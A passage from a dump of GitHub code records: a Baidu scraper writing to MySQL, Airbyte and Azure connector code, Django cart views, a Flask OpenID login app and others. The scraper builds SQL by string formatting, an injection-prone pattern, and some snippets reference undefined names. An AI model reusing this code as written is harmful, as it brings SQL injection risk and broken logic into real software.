reset=True)\r\n# tar_len = []\r\n# idx = []\r\n# for i in range(min(batch_size, len(dataset) - start)):\r\n# sm_id = dataset[start + i].sm\r\n# pro_id = dataset[start + i].target\r\n# pro_id = target_seq[pro_id]\r\n# tar_len.append(target_len[pro_id])\r\n# idx.append(smiles_idx[sm_id])\r\n# for i in range(start, min(len(dataset), start + batch_size)):\r\n# dataset.data[i].x = torch.cat(\r\n# [pro[i - start, 1:tar_len[i - start] + 1], sm[i - start, idx[i - start]],\r\n# sm[i - start, 0].unsqueeze(0)]).cpu()\r\n# start = start + batch_size\r\n","repo_name":"lizhj39/MNNEL-DTA","sub_path":"base_models/model_NHGNN.py","file_name":"model_NHGNN.py","file_ext":"py","file_size_in_byte":19220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"18629940001","text":"import requests\nimport json\nfrom lxml import etree\nimport pymysql\n\ndef get_url(url,headers,i):#输入页数,url,headers,得到一个\n try :\n url_list = []\n list = {\"limit\":30,\n \"timeout\":\"3000\",\n \"filterTags\":\"[0,0,0,0,0,0,0]\",\n \"tagId\":\"60826\",\n \"fromLemma\":\"true\",\n \"contentLength\":\"38\",\n \"page\":\"{}\".format(i)}\n r = requests.post(url,headers = headers,data=list,timeout = 30)\n r.raise_for_status()\n jdata = json.loads(r.content)\n for i in jdata[\"lemmaList\"]:\n url_list.append(i[\"lemmaUrl\"])\n return(url_list) \n except :\n return([])\n \ndef get_info(url,headers):\n try:\n r = requests.get(url,headers = headers,timeout = 30)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n tree = etree.HTML(r.text)\n zname = \"\".join(tree.xpath(\"//dd[@class='lemmaWgt-lemmaTitle-title']/h1/text()\"))\n ename = \"\".join(tree.xpath(\"//dd[@class='lemmaWgt-lemmaTitle-subTitle']//h3/text()\"))\n surl = \"\".join(tree.xpath(\"//div[@class='baseBox']/div[2]//dl[@class=' bottomLine']/dd/a/text()\"))\n info = [zname,ename,surl]\n return (info)\n except:\n return ([]) \n \n \nif __name__ == \"__main__\":\n headers = {\"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0\",\"Referer\": \"https://baike.baidu.com/wikitag/taglist?tagId=60826&fromLemma=true\"} \n url = \"https://baike.baidu.com/wikitag/api/getlemmas\"\n url_list = []\n print(\"正在存储高校链接……\")\n for i in range(5):\n url_list += get_url(url,headers,i)\n \n print(\"正在连接数据库……\")\n try:\n con = pymysql.connect(host=\"127.0.0.1\",port=3306,user=\"root\",password=\"\",charset=\"utf8\")\n cursor = con.cursor()\n cursor.execute(\"use baidu\")\n print(\"连接成功\")\n except:\n print(\"连接失败\")\n print(\"正在写入信息……\")\n for index,url in enumerate(url_list):\n try:\n info = get_info(url,headers)\n cursor.execute(\"INSERT INTO good_university (id,zname,ename,surl)VALUE ({},'{}','{}','{}')\".format(index+1,info[0],info[1],info[2]))\n print(\"已完成{}条记录\".format(index+1))\n if not ((index+1) % 20):\n con.commit()\n except:\n print(\"第{}条记录写入失败\".format(index+1))\n con.commit()\n print(\"写入信息完毕!\")\n ","repo_name":"tling2000/Crwals","sub_path":"study/baidu_univer/crwal.py","file_name":"crwal.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20203189191","text":"from unittest.mock import MagicMock\n\nimport pytest\nfrom airbyte_cdk.models import AirbyteConnectionStatus, FailureType, Status\nfrom airbyte_cdk.utils import AirbyteTracedException\nfrom source_google_analytics_data_api import SourceGoogleAnalyticsDataApi\nfrom source_google_analytics_data_api.source import MetadataDescriptor\nfrom source_google_analytics_data_api.utils import NO_DIMENSIONS, NO_METRICS, NO_NAME, WRONG_JSON_SYNTAX\n\n\n@pytest.mark.parametrize(\n \"config_values, is_successful, message\",\n [\n ({}, Status.SUCCEEDED, None),\n ({\"custom_reports_array\": ...}, Status.SUCCEEDED, None),\n ({\"custom_reports_array\": \"[]\"}, Status.SUCCEEDED, None),\n ({\"custom_reports_array\": \"invalid\"}, Status.FAILED, f\"'{WRONG_JSON_SYNTAX}'\"),\n ({\"custom_reports_array\": \"{}\"}, Status.FAILED, f\"'{WRONG_JSON_SYNTAX}'\"),\n ({\"custom_reports_array\": \"[{}]\"}, Status.FAILED, f\"'{NO_NAME}'\"),\n ({\"custom_reports_array\": '[{\"name\": \"name\"}]'}, Status.FAILED, f\"'{NO_DIMENSIONS}'\"),\n ({\"custom_reports_array\": '[{\"name\": \"daily_active_users\", \"dimensions\": [\"date\"]}]'}, Status.FAILED, f\"'{NO_METRICS}'\"),\n (\n {\"custom_reports_array\": '[{\"name\": \"daily_active_users\", \"metrics\": [\"totalUsers\"], \"dimensions\": [{\"name\": \"city\"}]}]'},\n Status.FAILED,\n \"\\\"The custom report daily_active_users entered contains invalid dimensions: {'name': 'city'} is not of type 'string'. Validate your custom query with the GA 4 Query Explorer (https://ga-dev-tools.google/ga4/query-explorer/).\\\"\",\n ),\n ({\"date_ranges_start_date\": \"2022-20-20\"}, Status.FAILED, \"\\\"time data '2022-20-20' does not match format '%Y-%m-%d'\\\"\"),\n (\n {\"credentials\": {\"auth_type\": \"Service\", \"credentials_json\": \"invalid\"}},\n Status.FAILED,\n \"'credentials.credentials_json is not valid JSON'\",\n ),\n (\n {\"custom_reports_array\": '[{\"name\": \"name\", \"dimensions\": [], \"metrics\": []}]'},\n Status.FAILED,\n \"'The custom report name entered contains invalid dimensions: [] is too short. Validate your custom query with the GA 4 Query Explorer (https://ga-dev-tools.google/ga4/query-explorer/).'\",\n ),\n (\n {\"custom_reports_array\": '[{\"name\": \"daily_active_users\", \"dimensions\": [\"date\"], \"metrics\": [\"totalUsers\"]}]'},\n Status.FAILED,\n \"'Custom reports: daily_active_users already exist as a default report(s).'\",\n ),\n (\n {\"custom_reports_array\": '[{\"name\": \"name\", \"dimensions\": [\"unknown\"], \"metrics\": [\"totalUsers\"]}]'},\n Status.FAILED,\n \"'The custom report name entered contains invalid dimensions: unknown. Validate your custom query with the GA 4 Query Explorer (https://ga-dev-tools.google/ga4/query-explorer/).'\",\n ),\n (\n {\"custom_reports_array\": '[{\"name\": \"name\", \"dimensions\": [\"date\"], \"metrics\": [\"unknown\"]}]'},\n Status.FAILED,\n \"'The custom report name entered contains invalid metrics: unknown. Validate your custom query with the GA 4 Query Explorer (https://ga-dev-tools.google/ga4/query-explorer/).'\",\n ),\n (\n {\n \"custom_reports_array\": '[{\"name\": \"pivot_report\", \"dateRanges\": [{ \"startDate\": \"2020-09-01\", \"endDate\": \"2020-09-15\" }], \"dimensions\": [\"browser\", \"country\", \"language\"], \"metrics\": [\"sessions\"], \"pivots\": {}}]'\n },\n Status.FAILED,\n \"\\\"The custom report pivot_report entered contains invalid pivots: {} is not of type 'null', 'array'. Ensure the pivot follow the syntax described in the docs (https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/Pivot).\\\"\",\n ),\n ],\n)\ndef test_check(requests_mock, config_gen, config_values, is_successful, message):\n requests_mock.register_uri(\n \"POST\", \"https://oauth2.googleapis.com/token\", json={\"access_token\": \"access_token\", \"expires_in\": 3600, \"token_type\": \"Bearer\"}\n )\n\n requests_mock.register_uri(\n \"GET\",\n \"https://analyticsdata.googleapis.com/v1beta/properties/108176369/metadata\",\n json={\n \"dimensions\": [{\"apiName\": \"date\"}, {\"apiName\": \"country\"}, {\"apiName\": \"language\"}, {\"apiName\": \"browser\"}],\n \"metrics\": [{\"apiName\": \"totalUsers\"}, {\"apiName\": \"screenPageViews\"}, {\"apiName\": \"sessions\"}],\n },\n )\n requests_mock.register_uri(\n \"POST\",\n \"https://analyticsdata.googleapis.com/v1beta/properties/108176369:runReport\",\n json={\n \"dimensionHeaders\": [{\"name\": \"date\"}, {\"name\": \"country\"}],\n \"metricHeaders\": [{\"name\": \"totalUsers\", \"type\": \"s\"}, {\"name\": \"screenPageViews\", \"type\": \"m\"}],\n \"rows\": [],\n },\n )\n\n source = SourceGoogleAnalyticsDataApi()\n logger = MagicMock()\n assert source.check(logger, config_gen(**config_values)) == AirbyteConnectionStatus(status=is_successful, message=message)\n\n\ndef test_check_failure(requests_mock, config_gen):\n requests_mock.register_uri(\n \"POST\", \"https://oauth2.googleapis.com/token\", json={\"access_token\": \"access_token\", \"expires_in\": 3600, \"token_type\": \"Bearer\"}\n )\n requests_mock.register_uri(\n \"GET\", \"https://analyticsdata.googleapis.com/v1beta/properties/UA-11111111/metadata\", json={}, status_code=403\n )\n source = SourceGoogleAnalyticsDataApi()\n logger = MagicMock()\n with pytest.raises(AirbyteTracedException) as e:\n source.check(logger, config_gen(property_ids=[\"UA-11111111\"]))\n assert e.value.failure_type == FailureType.config_error\n assert \"Access was denied to the property ID entered.\" in e.value.message\n\n\n@pytest.mark.parametrize(\n \"status_code\",\n [\n (403),\n (401),\n ],\n)\ndef test_missing_metadata(requests_mock, status_code):\n # required for MetadataDescriptor $instance input\n class TestConfig:\n config = {\n \"authenticator\": None,\n \"property_id\": 123,\n }\n\n # mocking the url for metadata\n requests_mock.register_uri(\n \"GET\", \"https://analyticsdata.googleapis.com/v1beta/properties/123/metadata\", json={}, status_code=status_code\n )\n\n metadata_descriptor = MetadataDescriptor()\n with pytest.raises(AirbyteTracedException) as e:\n metadata_descriptor.__get__(TestConfig(), None)\n assert e.value.failure_type == FailureType.config_error\n\n\ndef test_streams(patch_base_class, config_gen):\n config = config_gen(property_ids=[\"Prop1\", \"PropN\"])\n source = SourceGoogleAnalyticsDataApi()\n streams = source.streams(config)\n expected_streams_number = 57 * 2\n assert len([stream for stream in streams if \"_property_\" in stream.name]) == 57\n assert len(set(streams)) == expected_streams_number\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-integrations/connectors/source-google-analytics-data-api/unit_tests/test_source.py","file_name":"test_source.py","file_ext":"py","file_size_in_byte":6821,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"} +{"seq_id":"14799320944","text":"\"\"\"\nload gt , and use my algo to recover gt\n\"\"\"\nimport numpy as np\nimport torch\n\nfrom coder_utils import recover_img\nfrom post_processer.post_processer import Processer\nfrom train.augmentations import Augmentation_traininig\nfrom train.dataset import ListDataset\n\nif __name__ == '__main__':\n trainset = ListDataset(train=True,\n transform=Augmentation_traininig,\n input_size_min=1024,\n input_size_max=1600,\n multi_scale=False,\n train_path='test_data/image',\n # train_path='/disk2/cwq/data/0704_huarui_rbox/image',\n # train_path='/disk3/xuan/data/0829_medical_invoice_rbox/image',\n debug_num=4,\n divisibility=16,\n step=8,\n gen_heat_map=True\n )\n trainloader = torch.utils.data.DataLoader(\n trainset, batch_size=2,\n shuffle=True, num_workers=1,\n collate_fn=trainset.collate_fn,\n )\n for data in trainloader:\n image, d_cx, d_cy, d_h, d_dh, cls, d_h_cls, d_cx_cls, seg_targets = data.values()\n loc_targets = torch.stack((d_cx, d_cy, d_h, d_dh), dim=2)\n cls_targets = cls\n\n post_process_test_image = recover_img(image.tensors[0])\n\n post_process_test_predloc = loc_targets[0]\n d_cx, d_cy, d_h, d_dh = post_process_test_predloc[:, 0], \\\n post_process_test_predloc[:, 1], \\\n post_process_test_predloc[:, 2], \\\n post_process_test_predloc[:, 3]\n # d_dh[:] = 0\n pred_loc = trainset.encoder.decode_per_level(post_process_test_image.transpose(2, 0, 1), 8, d_cx, d_cy, d_h,\n d_dh, cls[0], thres=0.9, return_format='xyhd')\n\n post_process_test_seg_res = (seg_targets[0].data.numpy() > 0.5).astype(np.uint8)\n\n import time\n\n start = time.time()\n processer = Processer(\n post_process_test_image,\n pred_loc,\n post_process_test_seg_res\n )\n processer.process()\n end = time.time()\n print('infer time is ', end - start)\n break\n","repo_name":"anxu829/ctpn.pytorch","sub_path":"post_processer/gt_merge_test.py","file_name":"gt_merge_test.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"11558645544","text":"import os\nimport time\nimport warnings\nimport collections\n\nimport FuncNotify\n\nimport dotenv\n\ndef timer_base(func, NotifyObjList: list, *args, **kwargs): \n \"\"\" Timer base, depending on the type of object of NotifyObj, it will notify the \n user of the method and time the function. Errors are raised in the same method\n Leverages a factory that created the object and utilizes the abstract methods\n\n Args:\n func (function): Any function\n NotifyObjList (list[NotifyMethods]): Object from abstract class that indicates how the user is notified\n\n Raises:\n ex (Exception): Any Exception can be excepted then raised, this ensures exceptions aren't \n interuptted but the user is notified\n\n Returns:\n Object: Returns whatever the function returns\n \"\"\" \n try:\n collections.deque(map(lambda NOF: NOF.send_start_MSG(func), NotifyObjList), maxlen=0) # sends message on each item in list\n start = time.perf_counter() # by iterating through the map\n \n result = func(*args, **kwargs)\n \n diff = time.perf_counter()-start\n collections.deque(map(lambda NOF: NOF.send_end_MSG(func, diff), NotifyObjList), maxlen=0)\n except Exception as ex: \n collections.deque(map(lambda NOF: NOF.send_error_MSG(func, ex), NotifyObjList), maxlen=0) # noqa: F821 Bizarre bug with flake8, opening an issue\n raise ex\n\n return result\n\n\ndef get_notify_obj(NotifyMethod: str, environ_dict: dict, obj_args, obj_kwargs, target_dict: dict=None):\n \"\"\"Creates the object and returns it's a function for reusability\n\n Args:\n NotifyMethod (str): String deciding what the notify type is\n environ_dict (dict): environment variables dictionary\n obj_args (tuple): notify object tuple arguments\n obj_kwargs (dict): notify object dictionary key ward arguments\n target_dict (dict, optional): Specific arguments specified for a user. Defaults to None.\n\n Returns:\n NotifyMethods: NotifyMethods obbject that allows you to send start, stop and error messages\n \"\"\"\n def default_notify(*args, **kwargs): # Sends a warning your notify method didn't match \n warnings.warn(f\"Invalid NotifyMethod type '{NotifyMethod}' specified, will use `PrintMethod`, \" \\\n f\"select a type within these keys: {[key for key in FuncNotify.NotifyTypes]}.\")\n return FuncNotify.NotifyTypes[\"Print\"](*args, **kwargs)\n \n if target_dict is None:\n target_dict={}\n\n return FuncNotify.NotifyTypes.get(NotifyMethod, default_notify)(environ=environ_dict,\n *obj_args, \n **target_dict,\n **obj_kwargs)\n \n\ndef Notify_Obj_Factory(NotifyMethod: str=None, use_env: bool=True, env_path: str=\".env\", update_env: bool=False, \n multi_target: list=None, multi_env: list=None, func=None, message: str=None, args=None, kwargs=None)-> list: \n \"\"\"Creates a list of NotifyMethods Objects to be used to send messages\n\n Args:\n func (function, optional): In case you want to use time_func as a decorator without argumetns, \n NotifyMethod (str, optional): Specifies the type of method used to notify user, selected \\\n from FuncNotify.NotifyTypes. Defaults to None.\n use_env (str, optional): Whether to load the current env+the env_path. Defaults to True\n env_path (str, optional): path to .env file. Input \"\" for just the current environment. Defaults to \".env\".\n update_env (bool, optional): whether to update the .env file to current. Always updates on \n initialization. Defaults to False.\n \n multi_target (list[dict], optional): A list of dictionary of keyword arguments for every new target. Defaults to \".env\".\n multi_env (list[str], optional): list of strings of paths to `env` files. If you use multi_target and multi_env in\n conjunction you can create a correspondence of new targets with specific .env files to notify. Defaults ot None.\n\n message(bool, optional): Used for message notifications\n \n\n Returns:\n list: List of NotifyMethods Objects to be used to send messages with\n \"\"\" \n \n notify_obj_list=[]\n global ENV_DICT\n \n if update_env or ENV_DICT is None or not use_env:\n ENV_DICT={**os.environ, **dotenv.dotenv_values(env_path)} if use_env else {} \n \n if multi_env and multi_target: \n # NOTE multi_target and multi_env must be corresponding and will only do up shortest of the two lissts\n for target, spec_env_path in zip(multi_target, multi_env):\n spec_environ_dict={**ENV_DICT, **dotenv.dotenv_values(spec_env_path)} if spec_env_path else ENV_DICT\n target_method=target.get(\"NotifyMethod\", NotifyMethod)\n method_string=target_method if target_method else spec_environ_dict.get(\"DEFAULTNOTIFY\", \"NotFound\")\n \n notify_obj_list.append(\n get_notify_obj(method_string,\n target_dict=target, environ_dict=spec_environ_dict, \n obj_args=args, obj_kwargs=kwargs))\n elif multi_target:\n for target in multi_target:\n notify_obj_list.append(\n get_notify_obj(NotifyMethod=target.get(\"NotifyMethod\", NotifyMethod),\n target_dict=target, environ_dict=ENV_DICT, \n obj_args=args, obj_kwargs=kwargs))\n elif multi_env:\n for spec_env_path in multi_env:\n spec_environ_dict={**ENV_DICT, **dotenv.dotenv_values(spec_env_path)}\n notify_obj_list.append(\n get_notify_obj(NotifyMethod=NotifyMethod if NotifyMethod else spec_environ_dict.get(\"DEFAULTNOTIFY\", \"NotFound\"), \n environ_dict=spec_environ_dict, obj_args=args, obj_kwargs=kwargs))\n else:\n notify_obj_list.append(\n get_notify_obj(NotifyMethod=NotifyMethod if NotifyMethod else ENV_DICT.get(\"DEFAULTNOTIFY\", \"NotFound\"), \n environ_dict=ENV_DICT, obj_args=args, obj_kwargs=kwargs))\n \n return notify_obj_list\n","repo_name":"kevinfjiang/FuncNotify","sub_path":"FuncNotify/_timer.py","file_name":"_timer.py","file_ext":"py","file_size_in_byte":6376,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"} +{"seq_id":"20196587931","text":"from typing import Iterable\n\nfrom airbyte_cdk.logger import AirbyteLogger\nfrom azure.core.paging import ItemPaged\nfrom azure.data.tables import TableClient, TableServiceClient\n\nfrom . import constants\n\n\nclass AzureTableReader:\n \"\"\"\n This reader reads data from given table\n\n Attributes\n ----------\n logger : AirbyteLogger\n Airbyte's Logger instance\n account_name : str\n The name of your storage account.\n access_key : str\n The access key to your storage account. Read more about access keys here - https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys\n endpoint_suffix : str\n The Table service account URL suffix. Read more about suffixes here - https://docs.microsoft.com/en-us/azure/storage/common/storage-configure-connection-string#create-a-connection-string-with-an-endpoint-suffix\n connection_string: str\n storage account connection string created using above params. Read more about connection string here - https://docs.microsoft.com/en-us/azure/storage/common/storage-configure-connection-string#configure-a-connection-string-for-an-azure-storage-account\n\n Methods\n -------\n get_table_service_client()\n Returns azure table service client from connection string.\n\n get_table_client(table_name: str)\n Returns azure table client from connection string.\n\n get_tables()\n Fetches all tables from storage account\n\n read_table()\n Reads data from an Azure table\n\n \"\"\"\n\n def __init__(self, logger: AirbyteLogger, config: dict):\n \"\"\"\n Parameters\n ----------\n config : dict\n Airbyte's configuration obect\n\n \"\"\"\n self.logger = logger\n self.account_name = config[constants.azure_storage_account_name_key_name]\n self.access_key = config[constants.azure_storage_access_key_key_name]\n self.endpoint_suffix = config[constants.azure_storage_endpoint_suffix_key_name]\n self.connection_string = \"DefaultEndpointsProtocol=https;AccountName={};AccountKey={};EndpointSuffix={}\".format(\n self.account_name, self.access_key, self.endpoint_suffix\n )\n\n def get_table_service_client(self) -> TableServiceClient:\n \"\"\"\n Returns azure table service client from connection string.\n Table service client facilitate interaction with tables. Please read more here - https://docs.microsoft.com/en-us/rest/api/storageservices/operations-on-tables\n\n \"\"\"\n try:\n return TableServiceClient.from_connection_string(conn_str=self.connection_string)\n except Exception as e:\n raise Exception(f\"An exception occurred: {str(e)}\")\n\n def get_table_client(self, table_name: str) -> TableClient:\n \"\"\"\n Returns azure table client from connection string.\n Table client facilitate interaction with table entities/rows. Please read more here - https://docs.microsoft.com/en-us/rest/api/storageservices/operations-on-entities\n\n Parameters\n ----------\n table_name : str\n table name for which you would like create table client for.\n\n \"\"\"\n try:\n if not table_name:\n raise Exception(\"An exception occurred: table name is not valid.\")\n return TableClient.from_connection_string(self.connection_string, table_name=table_name)\n except Exception as e:\n raise Exception(f\"An exception occurred: {str(e)}\")\n\n def get_tables(self) -> ItemPaged:\n \"\"\"\n Fetches all tables from storage account and returns them in Airbyte stream.\n \"\"\"\n try:\n table_service_client = self.get_table_service_client()\n tables_iterator = table_service_client.list_tables(results_per_page=constants.results_per_page)\n return tables_iterator\n except Exception as e:\n raise Exception(f\"An exception occurred: {str(e)}\")\n\n def read_table(self, table_client: TableClient, filter_query: str = None) -> Iterable:\n \"\"\"\n Reads data from an Azure table.\n\n Parameters\n ----------\n table_client : TableClient\n table client object to be able to access querying methods.\n\n filter_query : str\n either None or a query to pull data from table storage (based on the PartitionKey)\n \"\"\"\n if filter_query is None:\n return table_client.list_entities()\n else:\n return table_client.query_entities(query_filter=filter_query, results_per_page=constants.results_per_page)\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-integrations/connectors/source-azure-table/source_azure_table/azure_table.py","file_name":"azure_table.py","file_ext":"py","file_size_in_byte":4629,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"} +{"seq_id":"31242529668","text":"from django.conf import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.http import Http404\nfrom django.shortcuts import render, get_object_or_404\nfrom django.utils import timezone\nfrom rest_framework.generics import ListAPIView, RetrieveAPIView, DestroyAPIView\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.status import HTTP_200_OK, HTTP_400_BAD_REQUEST\nfrom core.models import Item, OrderItem, Order, Variation, ItemVariation\nfrom .serializers import ItemSerializer, OrderSerializer\n\n\nclass ItemListView(ListAPIView):\n permission_classes = (AllowAny,)\n serializer_class = ItemSerializer\n queryset = Item.objects.all()\n\n\nclass AddToCartView(APIView):\n def post(self, request, *args, **kwargs):\n slug = request.data.get('slug', None)\n \n if slug is None:\n return Response({\"message\": \"Invalid request\"}, status=HTTP_400_BAD_REQUEST)\n item = get_object_or_404(Item, slug=slug)\n order_item, created = OrderItem.objects.get_or_create(\n item=item,\n user=request.user,\n ordered=False\n )\n order_qs = Order.objects.filter(user=request.user, ordered=False)\n if order_qs.exists():\n order = order_qs[0]\n\n # check if the order item is in the order\n if order.items.filter(item__slug=item.slug).exists():\n order_item.quantity += 1\n order_item.save()\n return Response(status=HTTP_200_OK)\n else:\n order.items.add(order_item)\n return Response(status=HTTP_200_OK)\n else:\n ordered_date = timezone.now()\n order = Order.objects.create(\n user=request.user, ordered_date=ordered_date)\n order.items.add(order_item)\n return Response(status=HTTP_200_OK)\n\n\nclass OrderDetailView(RetrieveAPIView):\n serializer_class = OrderSerializer\n permission_classes = (IsAuthenticated,)\n\n def get_object(self):\n try:\n order = Order.objects.get(user=self.request.user, ordered=False)\n return order\n except ObjectDoesNotExist:\n return Response({'message': 'You do not have an active order'}, status=HTTP_400_BAD_REQUEST)\n\n\n\nclass OrderItemDeleteView(DestroyAPIView):\n permission_classes = (IsAuthenticated, )\n queryset = OrderItem.objects.all()\n\n\nclass OrderQuantityUpdateView(APIView):\n def post(self, request, *args, **kwargs):\n slug = request.data.get('slug', None)\n if slug is None:\n return Response({\"message\": \"Invalid data\"},\n status=HTTP_400_BAD_REQUEST)\n item = get_object_or_404(Item, slug=slug)\n order_qs = Order.objects.filter(\n user = request.user,\n ordered = False\n )\n \n if order_qs.exists():\n order = order_qs[0]\n if order.items.filter(item__slug=item.slug).exists():\n order_item = OrderItem.objects.filter(\n item = item,\n user = request.user,\n ordered = False\n )[0]\n if order_item.quantity > 1:\n order_item.quantity -= 1\n order_item.save()\n else:\n order_items.remove(order_item)\n return Response(status=HTTP_200_OK)\n else:\n return Response({\"message\": \"This item was not in your shopping cart\"}, status=HTTP_400_BAD_REQUEST)\n else:\n return Response({\"message\": \"You do not have an active order\"}, status=HTTP_400_BAD_REQUEST)\n \n","repo_name":"ihajar/python-Shopify-web-app","sub_path":"core/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3868,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"} +{"seq_id":"2591167479","text":"import json\nimport os\n\nfrom elasticsearch_dsl import HistogramFacet\nfrom elasticsearch_dsl import TermsFacet\nfrom flask import json\n# Elasticsearch uses urllib3 by default, so use urllib3_mock instead of\n# requests_mock.\nfrom urllib3_mock import Responses\n\nfrom data_explorer.test.base_test_case import BaseTestCase\n\nresponses = Responses('urllib3')\n\n\nclass TestFacetsController(BaseTestCase):\n \"\"\" FacetsController integration test stubs \"\"\"\n\n @classmethod\n def setUpClass(self):\n responses_dir = 'data_explorer/test/mock_responses'\n\n def _open_resp_file(filename):\n with open(os.path.join(responses_dir, filename)) as f:\n return f.read()\n\n self.es_basic = _open_resp_file('es_basic.txt')\n self.api_server_facets_basic = _open_resp_file(\n 'api_server_facets_basic.txt')\n self.es_histogram = _open_resp_file('es_histogram.txt')\n self.api_server_facets_histogram = _open_resp_file(\n 'api_server_facets_histogram.txt')\n\n def create_app(self):\n app = super(TestFacetsController, self).create_app()\n app.config.update({\n 'INDEX_NAME': 'index_name',\n 'UI_FACETS': {\n 'Region': 'Region description'\n },\n 'ELASTICSEARCH_FACETS': {\n 'Region': TermsFacet(field='Region.keyword')\n },\n 'ELASTICSEARCH_URL': 'fakeurl:9200',\n })\n return app\n\n @responses.activate\n def test_facets_get(self):\n \"\"\"Test /facets with basic TermsFacet.\"\"\"\n responses.add(\n 'GET',\n '/index_name/_search',\n body=self.es_basic,\n status=200,\n content_type='application/json')\n\n response = self.client.get('/facets')\n self.assert200(response)\n self.assertEquals(\n json.loads(self.api_server_facets_basic), response.json)\n\n @responses.activate\n def test_facets_get_histogram(self):\n \"\"\"Test facets/ with HistogramFacet.\n\n For HistogramFacet, Elasticsearch returns facet names \"10\", \"20\", etc.\n Test that API server converts these to \"10-19\", \"20-29\", etc.\n \"\"\"\n self.maxDiff = 2000\n self.app.config.update({\n 'UI_FACETS': {\n 'Age': None\n },\n 'ELASTICSEARCH_FACETS': {\n 'Age': HistogramFacet(field='Age', interval=10)\n },\n })\n responses.add(\n 'GET',\n '/index_name/_search',\n body=self.es_histogram,\n status=200,\n content_type='application/json')\n\n response = self.client.get('/facets')\n self.assert200(response)\n self.assertEquals(\n json.loads(self.api_server_facets_histogram), response.json)\n\n\nif __name__ == '__main__':\n import unittest\n unittest.main()\n","repo_name":"karamalhotra/data-explorer","sub_path":"api/data_explorer/test/test_facets_controller.py","file_name":"test_facets_controller.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"} +{"seq_id":"19906137962","text":"# -*- coding:utf8 -*-\n\nfrom flask import render_template, flash, redirect, session, url_for, request, g\nfrom flask.ext.login import login_user, logout_user, current_user, login_required\nfrom app import weblogapp, pgdb, login_mgr, openid\nfrom .forms import LoginForm\nfrom .models import UcUsers\nfrom datetime import datetime\n\n# Set \"homepage\" to index.html\n@weblogapp.route('/')\n@weblogapp.route('/index')\ndef index():\n #return \"Hello, PostgreSQL.\"\n #init_user = { 'nickname': 'PostgreSQL' } # fake user\n reg_user = g.user\n\n init_posts = [ # fake array of posts\n {\n 'author': { 'nickname': 'John' },\n 'body': 'Beautiful day in Portland!'\n },\n {\n 'author': { 'nickname': 'Susan' },\n 'body': 'The Avengers movie was so cool!'\n }\n ]\n\n return render_template(\"index.html\", title=\"Welcome to WeBlog\", user = reg_user, posts = init_posts )\n\n\n\n@weblogapp.route('/login', methods=['GET', 'POST'])\n@openid.loginhandler\ndef login():\n if g.user is not None and g.user.is_authenticated:\n return redirect(url_for('index'))\n\n login_form = LoginForm()\n\n if login_form.validate_on_submit():\n #flash('Login requested for OpenID=\"' + login_form.openid.data + '\", remember_me=' + str(login_form.remember_me.data))\n session['remember_me'] = login_form.remember_me.data\n return openid.try_login(login_form.openid.data, ask_for=['nickname', 'email'])\n\n return render_template(\"login.html\", title=\"Sign In page\", form = login_form, providers = weblogapp.config['OPENID_PROVIDERS'] )\n\n@weblogapp.route('/create-profile', methods=['GET', 'POST'])\ndef create_profile():\n if g.user is not None or 'openid' not in session:\n return redirect(url_for('index'))\n if request.method == 'POST':\n name = request.form['name']\n email = request.form['email']\n if not name:\n flash(u'Error: you have to provide a name')\n elif '@' not in email:\n flash(u'Error: you have to enter a valid email address')\n else:\n flash(u'Profile successfully created')\n db_session.add(UcUsers(name, email, session['openid']))\n db_session.commit()\n return redirect(openid.get_next_url())\n return render_template('create_profile.html', next=openid.get_next_url())\n\n\n\n@openid.after_login\ndef create_or_login(resp):\n if resp.email is None or resp.email == \"\":\n flash('Invaild login. Please try again.')\n return redirect(url_for('login'))\n\n register_user = UcUsers.query.filter_by(email=resp.email).first()\n if register_user is None:\n reg_nickname = resp.nickname\n if reg_nickname is None or reg_nickname == \"\":\n reg_nickname = resp.email.split('@')[0]\n\n register_user = UcUsers(nickname=reg_nickname, email=resp.email, gmt_create=datetime.now(), gmt_modify = datetime.now())\n pgdb.session.add(register_user)\n pgdb.session.commit()\n else:\n flash(u'Successfully signed in.')\n g.user = register_user\n return redirect(openid.get_next_url())\n\n remember_me = False\n\n if 'remember_me' in session:\n remember_me = session['remember_me']\n session.pop('remember_me', None)\n\n login_user(register_user, remember = remember_me)\n #return redirect(request.args.get('next') or url_for('login'))\n return redirect(url_for('create_profile', next=openid.get_next_url(),nickname = resp.nickname, email=resp.email))\n\n\n@login_mgr.user_loader\ndef load_user(id):\n return UcUsers.query.get(int(id))\n\n\n@weblogapp.before_request\ndef lookup_current_user():\n g.user = current_user\n \n if 'openid' in session:\n openid = session['openid']\n g.user = UcUsers.query.filter_by(openid=openid).first()\n\n\n\n@weblogapp.route('/logout')\ndef logout():\n session.pop('openid', None)\n flash(u'You were signed out...')\n return redirect(openid.get_next_url())\n","repo_name":"hiram36/weblog_website","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"17701734102","text":"__author__ = 'seunghyun.seo'\n\n\nimport sys\nimport os\nimport subprocess\nimport readline\n\n\nPATH_APKTOOL = 